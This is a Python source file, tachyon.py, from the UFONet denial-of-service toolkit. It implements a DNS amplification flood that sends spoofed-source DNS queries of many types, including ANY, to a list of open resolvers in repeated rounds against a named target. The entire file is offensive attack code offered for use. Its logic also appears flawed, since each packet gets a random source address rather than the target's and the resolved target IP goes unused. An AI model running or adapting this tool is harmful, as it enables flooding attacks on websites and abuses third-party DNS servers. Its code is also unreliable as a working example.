tachyon.py 3.6 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-"
  3. """
  4. UFONet - Denial of Service Toolkit - 2019 - by psy (epsylon@riseup.net)
  5. You should have received a copy of the GNU General Public License along
  6. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  7. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  8. """
  9. import sys, random
  10. try:
  11. from scapy.all import *
  12. except:
  13. print "\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python-scapy' or 'pip install scapy'\n"
  14. sys.exit(2)
  15. dns_file = "botnet/dns.txt" # OpenDNS servers IP list
  16. qtype = ["ANY", "A","AAAA","CNAME","MX","NS","PTR","CERT","SRV","TXT", "SOA"] # Query types
  17. ttl = 128 # (TTL) Time To Live
  18. timeout = 5 # defautl timeout
  19. qname = "www.google.com" # default 'spoofed' query
  20. # UFONet DNS Amplification (TACHYON)
  21. def randIP():
  22. ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
  23. return ip
  24. def dnsize(ip, port, rounds):
  25. n=0
  26. try: # (DNS) Amplification attack uses publically accessible DNS servers to flood a target with DNS response traffic
  27. with open(dns_file) as f: # extract OpenDNS servers from file
  28. dns_d = f.read().splitlines()
  29. f.close()
  30. results = []
  31. p_num=0
  32. for x in range (0,int(rounds)):
  33. try:
  34. n=n+1
  35. print "[Info] [AI] [TACHYON] Shooting 'crystal' ["+str(n)+"] and unloading laser on it! -> [REFLECTING!]"
  36. for i in qtype: # loop through all query types then all DNS servers
  37. for j in dns_d:
  38. p_num += 1
  39. src_ip = randIP() # ip source spoofed on each packet sent
  40. packet = IP(src=src_ip, dst=j, ttl=ttl) / UDP(sport=port) / DNS(rd=1, qd=DNSQR(qname=qname, qtype=i))
  41. try:
  42. send(packet, verbose=0) # not using sr1 because non-replies are required
  43. print("[Info] [AI] [TACHYON] Lasered 'crystal' [{}]".format(p_num))+" IS BEING REFLECTED by ["+str(j)+"] using DNS type: "+str(i)+" -> [AMPLIFYING!]"
  44. except:
  45. print("[Info] [AI] [TACHYON] Lasered 'crystal' [{}]".format(p_num))+" HAS FAILED to be reflected by ["+str(j)+"] using DNS type: "+str(i)+" -> [PASSING!]"
  46. except:
  47. print "[Error] [AI] [TACHYON] Failed to engage with 'crystal' ["+str(n)+"]"
  48. except:
  49. print("[Error] [AI] [TACHYON] Failing to engage... -> Is still target online? -> [Checking!]")
  50. class TACHYON(object):
  51. def attacking(self, target, rounds):
  52. print "[Info] [AI] DNS Amplification (TACHYON) is ready to fire: [" , rounds, "crystals ]"
  53. if target.startswith('http://'):
  54. target = target.replace('http://','')
  55. port = 80
  56. elif target.startswith('https://'):
  57. target = target.replace('https://','')
  58. port = 443
  59. try:
  60. ip = socket.gethostbyname(target)
  61. except:
  62. try:
  63. import dns.resolver
  64. r = dns.resolver.Resolver()
  65. r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
  66. url = urlparse(target)
  67. a = r.query(url.netloc, "A") # A record
  68. for rd in a:
  69. ip = str(rd)
  70. except:
  71. ip = target
  72. if ip == "127.0.0.1" or ip == "localhost":
  73. print "[Info] [AI] [TACHYON] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n"
  74. return
  75. dnsize(ip, port, rounds) # attack with TACHYON using threading